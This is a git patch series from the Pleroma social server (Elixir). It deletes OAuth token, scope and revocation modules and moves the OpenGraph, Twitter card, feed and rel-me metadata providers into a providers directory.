@@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.OAuthView do - use Pleroma.Web, :view - import Phoenix.HTML.Form - - alias Pleroma.Web.OAuth.Token.Utils - - def render("token.json", %{token: token} = opts) do - response = %{ - token_type: "Bearer", - access_token: token.token, - refresh_token: token.refresh_token, - expires_in: expires_in(), - scope: Enum.join(token.scopes, " "), - created_at: Utils.format_created_at(token) - } - - if user = opts[:user] do - response - |> Map.put(:me, user.ap_id) - else - response - end - end - - defp expires_in, do: Pleroma.Config.get([:oauth2, :token_expires_in], 600) -end diff --git a/lib/pleroma/web/oauth/scopes.ex b/lib/pleroma/web/oauth/scopes.ex deleted file mode 100644 index 6f06f1431..000000000 --- a/lib/pleroma/web/oauth/scopes.ex +++ /dev/null @@ -1,76 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.Scopes do - @moduledoc """ - Functions for dealing with scopes. - """ - - alias Pleroma.Plugs.OAuthScopesPlug - - @doc """ - Fetch scopes from request params. - - Note: `scopes` is used by Mastodon — supporting it but sticking to - OAuth's standard `scope` wherever we control it - """ - @spec fetch_scopes(map() | struct(), list()) :: list() - - def fetch_scopes(params, default) do - parse_scopes(params["scope"] || params["scopes"] || params[:scopes], default) - end - - def parse_scopes(scopes, _default) when is_list(scopes) do - Enum.filter(scopes, &(&1 not in [nil, ""])) - end - - def parse_scopes(scopes, default) when is_binary(scopes) do - scopes - |> to_list - |> parse_scopes(default) - end - - def parse_scopes(_, default) do - default - end - - @doc """ - Convert scopes string to list - """ - @spec to_list(binary()) :: [binary()] - def to_list(nil), do: [] - - def to_list(str) do - str - |> String.trim() - |> String.split(~r/[\s,]+/) - end - - @doc """ - Convert scopes list to string - """ - @spec to_string(list()) :: binary() - def to_string(scopes), do: Enum.join(scopes, " ") - - @doc """ - Validates scopes. - """ - @spec validate(list() | nil, list()) :: - {:ok, list()} | {:error, :missing_scopes | :unsupported_scopes} - def validate(blank_scopes, _app_scopes) when blank_scopes in [nil, []], - do: {:error, :missing_scopes} - - def validate(scopes, app_scopes) do - case OAuthScopesPlug.filter_descendants(scopes, app_scopes) do - ^scopes -> {:ok, scopes} - _ -> {:error, :unsupported_scopes} - end - end - - def contains_admin_scopes?(scopes) do - scopes - |> OAuthScopesPlug.filter_descendants(["admin"]) - |> Enum.any?() - end -end diff --git a/lib/pleroma/web/oauth/token.ex b/lib/pleroma/web/oauth/token.ex deleted file mode 100644 index de37998f2..000000000 --- a/lib/pleroma/web/oauth/token.ex +++ /dev/null @@ -1,135 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.Token do - use Ecto.Schema - - import Ecto.Changeset - - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.OAuth.App - alias Pleroma.Web.OAuth.Authorization - alias Pleroma.Web.OAuth.Token - alias Pleroma.Web.OAuth.Token.Query - - @type t :: %__MODULE__{} - - schema "oauth_tokens" do - field(:token, :string) - field(:refresh_token, :string) - field(:scopes, {:array, :string}, default: []) - field(:valid_until, :naive_datetime_usec) - belongs_to(:user, User, type: FlakeId.Ecto.CompatType) - belongs_to(:app, App) - - timestamps() - end - - @doc "Gets token for app by access token" - @spec get_by_token(App.t(), String.t()) :: {:ok, t()} | {:error, :not_found} - def get_by_token(%App{id: app_id} = _app, token) do - Query.get_by_app(app_id) - |> Query.get_by_token(token) - |> Repo.find_resource() - end - - @doc "Gets token for app by refresh token" - @spec get_by_refresh_token(App.t(), String.t()) :: {:ok, t()} | {:error, :not_found} - def get_by_refresh_token(%App{id: app_id} = _app, token) do - Query.get_by_app(app_id) - |> Query.get_by_refresh_token(token) - |> Query.preload([:user]) - |> Repo.find_resource() - end - - @spec exchange_token(App.t(), Authorization.t()) :: {:ok, Token.t()} | {:error, Changeset.t()} - def exchange_token(app, auth) do - with {:ok, auth} <- Authorization.use_token(auth), - true <- auth.app_id == app.id do - user = if auth.user_id, do: User.get_cached_by_id(auth.user_id), else: %User{} - - create( - app, - user, - %{scopes: auth.scopes} - ) - end - end - - defp put_token(changeset) do - changeset - |> change(%{token: Token.Utils.generate_token()}) - |> validate_required([:token]) - |> unique_constraint(:token) - end - - defp put_refresh_token(changeset, attrs) do - refresh_token = Map.get(attrs, :refresh_token, Token.Utils.generate_token()) - - changeset - |> change(%{refresh_token: refresh_token}) - |> validate_required([:refresh_token]) - |> unique_constraint(:refresh_token) - end - - defp put_valid_until(changeset, attrs) do - expires_in = - Map.get(attrs, :valid_until, NaiveDateTime.add(NaiveDateTime.utc_now(), expires_in())) - - changeset - |> change(%{valid_until: expires_in}) - |> validate_required([:valid_until]) - end - - @spec create(App.t(), User.t(), map()) :: {:ok, Token} | {:error, Changeset.t()} - def create(%App{} = app, %User{} = user, attrs \\ %{}) do - with {:ok, token} <- do_create(app, user, attrs) do - if Pleroma.Config.get([:oauth2, :clean_expired_tokens]) do - Pleroma.Workers.PurgeExpiredToken.enqueue(%{ - token_id: token.id, - valid_until: DateTime.from_naive!(token.valid_until, "Etc/UTC"), - mod: __MODULE__ - }) - end - - {:ok, token} - end - end - - defp do_create(app, user, attrs) do - %__MODULE__{user_id: user.id, app_id: app.id} - |> cast(%{scopes: attrs[:scopes] || app.scopes}, [:scopes]) - |> validate_required([:scopes, :app_id]) - |> put_valid_until(attrs) - |> put_token() - |> put_refresh_token(attrs) - |> Repo.insert() - end - - def delete_user_tokens(%User{id: user_id}) do - Query.get_by_user(user_id) - |> Repo.delete_all() - end - - def delete_user_token(%User{id: user_id}, token_id) do - Query.get_by_user(user_id) - |> Query.get_by_id(token_id) - |> Repo.delete_all() - end - - def get_user_tokens(%User{id: user_id}) do - Query.get_by_user(user_id) - |> Query.preload([:app]) - |> Repo.all() - end - - def is_expired?(%__MODULE__{valid_until: valid_until}) do - NaiveDateTime.diff(NaiveDateTime.utc_now(), valid_until) > 0 - end - - def is_expired?(_), do: false - - defp expires_in, do: Pleroma.Config.get([:oauth2, :token_expires_in], 600) -end diff --git a/lib/pleroma/web/oauth/token/query.ex b/lib/pleroma/web/oauth/token/query.ex deleted file mode 100644 index fd6d9b112..000000000 --- a/lib/pleroma/web/oauth/token/query.ex +++ /dev/null @@ -1,49 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.Token.Query do - @moduledoc """ - Contains queries for OAuth Token. - """ - - import Ecto.Query, only: [from: 2] - - @type query :: Ecto.Queryable.t() | Token.t() - - alias Pleroma.Web.OAuth.Token - - @spec get_by_refresh_token(query, String.t()) :: query - def get_by_refresh_token(query \\ Token, refresh_token) do - from(q in query, where: q.refresh_token == ^refresh_token) - end - - @spec get_by_token(query, String.t()) :: query - def get_by_token(query \\ Token, token) do - from(q in query, where: q.token == ^token) - end - - @spec get_by_app(query, String.t()) :: query - def get_by_app(query \\ Token, app_id) do - from(q in query, where: q.app_id == ^app_id) - end - - @spec get_by_id(query, String.t()) :: query - def get_by_id(query \\ Token, id) do - from(q in query, where: q.id == ^id) - end - - @spec get_by_user(query, String.t()) :: query - def get_by_user(query \\ Token, user_id) do - from(q in query, where: q.user_id == ^user_id) - end - - @spec preload(query, any) :: query - def preload(query \\ Token, assoc_preload \\ []) - - def preload(query, assoc_preload) when is_list(assoc_preload) do - from(q in query, preload: ^assoc_preload) - end - - def preload(query, _assoc_preload), do: query -end diff --git a/lib/pleroma/web/oauth/token/strategy/refresh_token.ex b/lib/pleroma/web/oauth/token/strategy/refresh_token.ex deleted file mode 100644 index 625b0fde2..000000000 --- a/lib/pleroma/web/oauth/token/strategy/refresh_token.ex +++ /dev/null @@ -1,58 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.Token.Strategy.RefreshToken do - @moduledoc """ - Functions for dealing with refresh token strategy. - """ - - alias Pleroma.Config - alias Pleroma.Repo - alias Pleroma.Web.OAuth.Token - alias Pleroma.Web.OAuth.Token.Strategy.Revoke - - @doc """ - Will grant access token by refresh token. - """ - @spec grant(Token.t()) :: {:ok, Token.t()} | {:error, any()} - def grant(token) do - access_token = Repo.preload(token, [:user, :app]) - - result = - Repo.transaction(fn -> - token_params = %{ - app: access_token.app, - user: access_token.user, - scopes: access_token.scopes - } - - access_token - |> revoke_access_token() - |> create_access_token(token_params) - end) - - case result do - {:ok, {:error, reason}} -> {:error, reason} - {:ok, {:ok, token}} -> {:ok, token} - {:error, reason} -> {:error, reason} - end - end - - defp revoke_access_token(token) do - Revoke.revoke(token) - end - - defp create_access_token({:error, error}, _), do: {:error, error} - - defp create_access_token({:ok, token}, %{app: app, user: user} = token_params) do - Token.create(app, user, add_refresh_token(token_params, token.refresh_token)) - end - - defp add_refresh_token(params, token) do - case Config.get([:oauth2, :issue_new_refresh_token], false) do - true -> Map.put(params, :refresh_token, token) - false -> params - end - end -end diff --git a/lib/pleroma/web/oauth/token/strategy/revoke.ex b/lib/pleroma/web/oauth/token/strategy/revoke.ex deleted file mode 100644 index 069c1ee21..000000000 --- a/lib/pleroma/web/oauth/token/strategy/revoke.ex +++ /dev/null @@ -1,26 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.Token.Strategy.Revoke do - @moduledoc """ - Functions for dealing with revocation. - """ - - alias Pleroma.Repo - alias Pleroma.Web.OAuth.App - alias Pleroma.Web.OAuth.Token - - @doc "Finds and revokes access token for app and by token" - @spec revoke(App.t(), map()) :: {:ok, Token.t()} | {:error, :not_found | Ecto.Changeset.t()} - def revoke(%App{} = app, %{"token" => token} = _attrs) do - with {:ok, token} <- Token.get_by_token(app, token), - do: revoke(token) - end - - @doc "Revokes access token" - @spec revoke(Token.t()) :: {:ok, Token.t()} | {:error, Ecto.Changeset.t()} - def revoke(%Token{} = token) do - Repo.delete(token) - end -end diff --git a/lib/pleroma/web/oauth/token/utils.ex b/lib/pleroma/web/oauth/token/utils.ex deleted file mode 100644 index 43aeab6b0..000000000 --- a/lib/pleroma/web/oauth/token/utils.ex +++ /dev/null @@ -1,72 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.Token.Utils do - @moduledoc """ - Auxiliary functions for dealing with tokens. - """ - - alias Pleroma.Repo - alias Pleroma.Web.OAuth.App - - @doc "Fetch app by client credentials from request" - @spec fetch_app(Plug.Conn.t()) :: {:ok, App.t()} | {:error, :not_found} - def fetch_app(conn) do - res = - conn - |> fetch_client_credentials() - |> fetch_client - - case res do - %App{} = app -> {:ok, app} - _ -> {:error, :not_found} - end - end - - defp fetch_client({id, secret}) when is_binary(id) and is_binary(secret) do - Repo.get_by(App, client_id: id, client_secret: secret) - end - - defp fetch_client({_id, _secret}), do: nil - - defp fetch_client_credentials(conn) do - # Per RFC 6749, HTTP Basic is preferred to body params - with ["Basic " <> encoded] <- Plug.Conn.get_req_header(conn, "authorization"), - {:ok, decoded} <- Base.decode64(encoded), - [id, secret] <- - Enum.map( - String.split(decoded, ":"), - fn s -> URI.decode_www_form(s) end - ) do - {id, secret} - else - _ -> {conn.params["client_id"], conn.params["client_secret"]} - end - end - - @doc "convert token inserted_at to unix timestamp" - def format_created_at(%{inserted_at: inserted_at} = _token) do - inserted_at - |> DateTime.from_naive!("Etc/UTC") - |> DateTime.to_unix() - end - - @doc false - @spec generate_token(keyword()) :: binary() - def generate_token(opts \\ []) do - opts - |> Keyword.get(:size, 32) - |> :crypto.strong_rand_bytes() - |> Base.url_encode64(padding: false) - end - - # XXX - for whatever reason our token arrives urlencoded, but Plug.Conn should be - # decoding it. Investigate sometime. - def fix_padding(token) do - token - |> URI.decode() - |> Base.url_decode64!(padding: false) - |> Base.url_encode64(padding: false) - end -end -- cgit v1.2.3 From e8e4034c4879ebf0bb7fcc7606c97a3957a0ba06 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 23 Jun 2020 19:55:55 +0300 Subject: metadata providers consistency --- lib/pleroma/web/metadata/feed.ex | 23 ---- lib/pleroma/web/metadata/opengraph.ex | 119 --------------------- lib/pleroma/web/metadata/provider.ex | 7 -- lib/pleroma/web/metadata/providers/feed.ex | 23 ++++ lib/pleroma/web/metadata/providers/opengraph.ex | 119 +++++++++++++++++++++ lib/pleroma/web/metadata/providers/provider.ex | 7 ++ lib/pleroma/web/metadata/providers/rel_me.ex | 19 ++++ .../web/metadata/providers/restrict_indexing.ex | 24 +++++ lib/pleroma/web/metadata/providers/twitter_card.ex | 112 +++++++++++++++++++ lib/pleroma/web/metadata/rel_me.ex | 19 ---- lib/pleroma/web/metadata/restrict_indexing.ex | 24 ----- lib/pleroma/web/metadata/twitter_card.ex | 112 ------------------- 12 files changed, 304 insertions(+), 304 deletions(-) delete mode 100644 lib/pleroma/web/metadata/feed.ex delete mode 100644 lib/pleroma/web/metadata/opengraph.ex delete mode 100644 lib/pleroma/web/metadata/provider.ex create mode 100644 lib/pleroma/web/metadata/providers/feed.ex create mode 100644 lib/pleroma/web/metadata/providers/opengraph.ex create mode 100644 lib/pleroma/web/metadata/providers/provider.ex create mode 100644 lib/pleroma/web/metadata/providers/rel_me.ex create mode 100644 lib/pleroma/web/metadata/providers/restrict_indexing.ex create mode 100644 lib/pleroma/web/metadata/providers/twitter_card.ex delete mode 100644 lib/pleroma/web/metadata/rel_me.ex delete mode 100644 lib/pleroma/web/metadata/restrict_indexing.ex delete mode 100644 lib/pleroma/web/metadata/twitter_card.ex diff --git a/lib/pleroma/web/metadata/feed.ex b/lib/pleroma/web/metadata/feed.ex deleted file mode 100644 index bd1459a17..000000000 --- a/lib/pleroma/web/metadata/feed.ex +++ /dev/null @@ -1,23 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.Feed do - alias Pleroma.Web.Endpoint - alias Pleroma.Web.Metadata.Providers.Provider - alias Pleroma.Web.Router.Helpers - - @behaviour Provider - - @impl Provider - def build_tags(%{user: user}) do - [ - {:link, - [ - rel: "alternate", - type: "application/atom+xml", - href: Helpers.user_feed_path(Endpoint, :feed, user.nickname) <> ".atom" - ], []} - ] - end -end diff --git a/lib/pleroma/web/metadata/opengraph.ex b/lib/pleroma/web/metadata/opengraph.ex deleted file mode 100644 index bb1b23208..000000000 --- a/lib/pleroma/web/metadata/opengraph.ex +++ /dev/null @@ -1,119 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.OpenGraph do - alias Pleroma.User - alias Pleroma.Web.Metadata - alias Pleroma.Web.Metadata.Providers.Provider - alias Pleroma.Web.Metadata.Utils - - @behaviour Provider - @media_types ["image", "audio", "video"] - - @impl Provider - def build_tags(%{ - object: object, - url: url, - user: user - }) do - attachments = build_attachments(object) - scrubbed_content = Utils.scrub_html_and_truncate(object) - # Zero width space - content = - if scrubbed_content != "" and scrubbed_content != "\u200B" do - ": “" <> scrubbed_content <> "”" - else - "" - end - - # Most previews only show og:title which is inconvenient. Instagram - # hacks this by putting the description in the title and making the - # description longer prefixed by how many likes and shares the post - # has. Here we use the descriptive nickname in the title, and expand - # the full account & nickname in the description. We also use the cute^Wevil - # smart quotes around the status text like Instagram, too. - [ - {:meta, - [ - property: "og:title", - content: "#{user.name}" <> content - ], []}, - {:meta, [property: "og:url", content: url], []}, - {:meta, - [ - property: "og:description", - content: "#{Utils.user_name_string(user)}" <> content - ], []}, - {:meta, [property: "og:type", content: "website"], []} - ] ++ - if attachments == [] or Metadata.activity_nsfw?(object) do - [ - {:meta, [property: "og:image", content: Utils.attachment_url(User.avatar_url(user))], - []}, - {:meta, [property: "og:image:width", content: 150], []}, - {:meta, [property: "og:image:height", content: 150], []} - ] - else - attachments - end - end - - @impl Provider - def build_tags(%{user: user}) do - with truncated_bio = Utils.scrub_html_and_truncate(user.bio) do - [ - {:meta, - [ - property: "og:title", - content: Utils.user_name_string(user) - ], []}, - {:meta, [property: "og:url", content: user.uri || user.ap_id], []}, - {:meta, [property: "og:description", content: truncated_bio], []}, - {:meta, [property: "og:type", content: "website"], []}, - {:meta, [property: "og:image", content: Utils.attachment_url(User.avatar_url(user))], []}, - {:meta, [property: "og:image:width", content: 150], []}, - {:meta, [property: "og:image:height", content: 150], []} - ] - end - end - - defp build_attachments(%{data: %{"attachment" => attachments}}) do - Enum.reduce(attachments, [], fn attachment, acc -> - rendered_tags = - Enum.reduce(attachment["url"], [], fn url, acc -> - # TODO: Add additional properties to objects when we have the data available. - # Also, Whatsapp only wants JPEG or PNGs. It seems that if we add a second og:image - # object when a Video or GIF is attached it will display that in Whatsapp Rich Preview. - case Utils.fetch_media_type(@media_types, url["mediaType"]) do - "audio" -> - [ - {:meta, [property: "og:audio", content: Utils.attachment_url(url["href"])], []} - | acc - ] - - "image" -> - [ - {:meta, [property: "og:image", content: Utils.attachment_url(url["href"])], []}, - {:meta, [property: "og:image:width", content: 150], []}, - {:meta, [property: "og:image:height", content: 150], []} - | acc - ] - - "video" -> - [ - {:meta, [property: "og:video", content: Utils.attachment_url(url["href"])], []} - | acc - ] - - _ -> - acc - end - end) - - acc ++ rendered_tags - end) - end - - defp build_attachments(_), do: [] -end diff --git a/lib/pleroma/web/metadata/provider.ex b/lib/pleroma/web/metadata/provider.ex deleted file mode 100644 index 767288f9c..000000000 --- a/lib/pleroma/web/metadata/provider.ex +++ /dev/null @@ -1,7 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.Provider do - @callback build_tags(map()) :: list() -end diff --git a/lib/pleroma/web/metadata/providers/feed.ex b/lib/pleroma/web/metadata/providers/feed.ex new file mode 100644 index 000000000..bd1459a17 --- /dev/null +++ b/lib/pleroma/web/metadata/providers/feed.ex @@ -0,0 +1,23 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.Feed do + alias Pleroma.Web.Endpoint + alias Pleroma.Web.Metadata.Providers.Provider + alias Pleroma.Web.Router.Helpers + + @behaviour Provider + + @impl Provider + def build_tags(%{user: user}) do + [ + {:link, + [ + rel: "alternate", + type: "application/atom+xml", + href: Helpers.user_feed_path(Endpoint, :feed, user.nickname) <> ".atom" + ], []} + ] + end +end diff --git a/lib/pleroma/web/metadata/providers/opengraph.ex b/lib/pleroma/web/metadata/providers/opengraph.ex new file mode 100644 index 000000000..bb1b23208 --- /dev/null +++ b/lib/pleroma/web/metadata/providers/opengraph.ex @@ -0,0 +1,119 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.OpenGraph do + alias Pleroma.User + alias Pleroma.Web.Metadata + alias Pleroma.Web.Metadata.Providers.Provider + alias Pleroma.Web.Metadata.Utils + + @behaviour Provider + @media_types ["image", "audio", "video"] + + @impl Provider + def build_tags(%{ + object: object, + url: url, + user: user + }) do + attachments = build_attachments(object) + scrubbed_content = Utils.scrub_html_and_truncate(object) + # Zero width space + content = + if scrubbed_content != "" and scrubbed_content != "\u200B" do + ": “" <> scrubbed_content <> "”" + else + "" + end + + # Most previews only show og:title which is inconvenient. Instagram + # hacks this by putting the description in the title and making the + # description longer prefixed by how many likes and shares the post + # has. Here we use the descriptive nickname in the title, and expand + # the full account & nickname in the description. We also use the cute^Wevil + # smart quotes around the status text like Instagram, too. + [ + {:meta, + [ + property: "og:title", + content: "#{user.name}" <> content + ], []}, + {:meta, [property: "og:url", content: url], []}, + {:meta, + [ + property: "og:description", + content: "#{Utils.user_name_string(user)}" <> content + ], []}, + {:meta, [property: "og:type", content: "website"], []} + ] ++ + if attachments == [] or Metadata.activity_nsfw?(object) do + [ + {:meta, [property: "og:image", content: Utils.attachment_url(User.avatar_url(user))], + []}, + {:meta, [property: "og:image:width", content: 150], []}, + {:meta, [property: "og:image:height", content: 150], []} + ] + else + attachments + end + end + + @impl Provider + def build_tags(%{user: user}) do + with truncated_bio = Utils.scrub_html_and_truncate(user.bio) do + [ + {:meta, + [ + property: "og:title", + content: Utils.user_name_string(user) + ], []}, + {:meta, [property: "og:url", content: user.uri || user.ap_id], []}, + {:meta, [property: "og:description", content: truncated_bio], []}, + {:meta, [property: "og:type", content: "website"], []}, + {:meta, [property: "og:image", content: Utils.attachment_url(User.avatar_url(user))], []}, + {:meta, [property: "og:image:width", content: 150], []}, + {:meta, [property: "og:image:height", content: 150], []} + ] + end + end + + defp build_attachments(%{data: %{"attachment" => attachments}}) do + Enum.reduce(attachments, [], fn attachment, acc -> + rendered_tags = + Enum.reduce(attachment["url"], [], fn url, acc -> + # TODO: Add additional properties to objects when we have the data available. + # Also, Whatsapp only wants JPEG or PNGs. It seems that if we add a second og:image + # object when a Video or GIF is attached it will display that in Whatsapp Rich Preview. + case Utils.fetch_media_type(@media_types, url["mediaType"]) do + "audio" -> + [ + {:meta, [property: "og:audio", content: Utils.attachment_url(url["href"])], []} + | acc + ] + + "image" -> + [ + {:meta, [property: "og:image", content: Utils.attachment_url(url["href"])], []}, + {:meta, [property: "og:image:width", content: 150], []}, + {:meta, [property: "og:image:height", content: 150], []} + | acc + ] + + "video" -> + [ + {:meta, [property: "og:video", content: Utils.attachment_url(url["href"])], []} + | acc + ] + + _ -> + acc + end + end) + + acc ++ rendered_tags + end) + end + + defp build_attachments(_), do: [] +end diff --git a/lib/pleroma/web/metadata/providers/provider.ex b/lib/pleroma/web/metadata/providers/provider.ex new file mode 100644 index 000000000..767288f9c --- /dev/null +++ b/lib/pleroma/web/metadata/providers/provider.ex @@ -0,0 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.Provider do + @callback build_tags(map()) :: list() +end diff --git a/lib/pleroma/web/metadata/providers/rel_me.ex b/lib/pleroma/web/metadata/providers/rel_me.ex new file mode 100644 index 000000000..8905c9c72 --- /dev/null +++ b/lib/pleroma/web/metadata/providers/rel_me.ex @@ -0,0 +1,19 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.RelMe do + alias Pleroma.Web.Metadata.Providers.Provider + @behaviour Provider + + @impl Provider + def build_tags(%{user: user}) do + bio_tree = Floki.parse_fragment!(user.bio) + + (Floki.attribute(bio_tree, "link[rel~=me]", "href") ++ + Floki.attribute(bio_tree, "a[rel~=me]", "href")) + |> Enum.map(fn link -> + {:link, [rel: "me", href: link], []} + end) + end +end diff --git a/lib/pleroma/web/metadata/providers/restrict_indexing.ex b/lib/pleroma/web/metadata/providers/restrict_indexing.ex new file mode 100644 index 000000000..a1dcb6e15 --- /dev/null +++ b/lib/pleroma/web/metadata/providers/restrict_indexing.ex @@ -0,0 +1,24 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.RestrictIndexing do + @behaviour Pleroma.Web.Metadata.Providers.Provider + + @moduledoc """ + Restricts indexing of remote users. + """ + + @impl true + def build_tags(%{user: %{local: true, discoverable: true}}), do: [] + + def build_tags(_) do + [ + {:meta, + [ + name: "robots", + content: "noindex, noarchive" + ], []} + ] + end +end diff --git a/lib/pleroma/web/metadata/providers/twitter_card.ex b/lib/pleroma/web/metadata/providers/twitter_card.ex new file mode 100644 index 000000000..df34b033f --- /dev/null +++ b/lib/pleroma/web/metadata/providers/twitter_card.ex @@ -0,0 +1,112 @@ +# Pleroma: A lightweight social networking server + +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.TwitterCard do + alias Pleroma.User + alias Pleroma.Web.Metadata + alias Pleroma.Web.Metadata.Providers.Provider + alias Pleroma.Web.Metadata.Utils + + @behaviour Provider + @media_types ["image", "audio", "video"] + + @impl Provider + def build_tags(%{activity_id: id, object: object, user: user}) do + attachments = build_attachments(id, object) + scrubbed_content = Utils.scrub_html_and_truncate(object) + # Zero width space + content = + if scrubbed_content != "" and scrubbed_content != "\u200B" do + "“" <> scrubbed_content <> "”" + else + "" + end + + [ + title_tag(user), + {:meta, [property: "twitter:description", content: content], []} + ] ++ + if attachments == [] or Metadata.activity_nsfw?(object) do + [ + image_tag(user), + {:meta, [property: "twitter:card", content: "summary"], []} + ] + else + attachments + end + end + + @impl Provider + def build_tags(%{user: user}) do + with truncated_bio = Utils.scrub_html_and_truncate(user.bio) do + [ + title_tag(user), + {:meta, [property: "twitter:description", content: truncated_bio], []}, + image_tag(user), + {:meta, [property: "twitter:card", content: "summary"], []} + ] + end + end + + defp title_tag(user) do + {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []} + end + + def image_tag(user) do + {:meta, [property: "twitter:image", content: Utils.attachment_url(User.avatar_url(user))], []} + end + + defp build_attachments(id, %{data: %{"attachment" => attachments}}) do + Enum.reduce(attachments, [], fn attachment, acc -> + rendered_tags = + Enum.reduce(attachment["url"], [], fn url, acc -> + # TODO: Add additional properties to objects when we have the data available. + case Utils.fetch_media_type(@media_types, url["mediaType"]) do + "audio" -> + [ + {:meta, [property: "twitter:card", content: "player"], []}, + {:meta, [property: "twitter:player:width", content: "480"], []}, + {:meta, [property: "twitter:player:height", content: "80"], []}, + {:meta, [property: "twitter:player", content: player_url(id)], []} + | acc + ] + + "image" -> + [ + {:meta, [property: "twitter:card", content: "summary_large_image"], []}, + {:meta, + [ + property: "twitter:player", + content: Utils.attachment_url(url["href"]) + ], []} + | acc + ] + + # TODO: Need the true width and height values here or Twitter renders an iFrame with + # a bad aspect ratio + "video" -> + [ + {:meta, [property: "twitter:card", content: "player"], []}, + {:meta, [property: "twitter:player", content: player_url(id)], []}, + {:meta, [property: "twitter:player:width", content: "480"], []}, + {:meta, [property: "twitter:player:height", content: "480"], []} + | acc + ] + + _ -> + acc + end + end) + + acc ++ rendered_tags + end) + end + + defp build_attachments(_id, _object), do: [] + + defp player_url(id) do + Pleroma.Web.Router.Helpers.o_status_url(Pleroma.Web.Endpoint, :notice_player, id) + end +end diff --git a/lib/pleroma/web/metadata/rel_me.ex b/lib/pleroma/web/metadata/rel_me.ex deleted file mode 100644 index 8905c9c72..000000000 --- a/lib/pleroma/web/metadata/rel_me.ex +++ /dev/null @@ -1,19 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.RelMe do - alias Pleroma.Web.Metadata.Providers.Provider - @behaviour Provider - - @impl Provider - def build_tags(%{user: user}) do - bio_tree = Floki.parse_fragment!(user.bio) - - (Floki.attribute(bio_tree, "link[rel~=me]", "href") ++ - Floki.attribute(bio_tree, "a[rel~=me]", "href")) - |> Enum.map(fn link -> - {:link, [rel: "me", href: link], []} - end) - end -end diff --git a/lib/pleroma/web/metadata/restrict_indexing.ex b/lib/pleroma/web/metadata/restrict_indexing.ex deleted file mode 100644 index a1dcb6e15..000000000 --- a/lib/pleroma/web/metadata/restrict_indexing.ex +++ /dev/null @@ -1,24 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.RestrictIndexing do - @behaviour Pleroma.Web.Metadata.Providers.Provider - - @moduledoc """ - Restricts indexing of remote users. - """ - - @impl true - def build_tags(%{user: %{local: true, discoverable: true}}), do: [] - - def build_tags(_) do - [ - {:meta, - [ - name: "robots", - content: "noindex, noarchive" - ], []} - ] - end -end diff --git a/lib/pleroma/web/metadata/twitter_card.ex b/lib/pleroma/web/metadata/twitter_card.ex deleted file mode 100644 index df34b033f..000000000 --- a/lib/pleroma/web/metadata/twitter_card.ex +++ /dev/null @@ -1,112 +0,0 @@ -# Pleroma: A lightweight social networking server - -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.TwitterCard do - alias Pleroma.User - alias Pleroma.Web.Metadata - alias Pleroma.Web.Metadata.Providers.Provider - alias Pleroma.Web.Metadata.Utils - - @behaviour Provider - @media_types ["image", "audio", "video"] - - @impl Provider - def 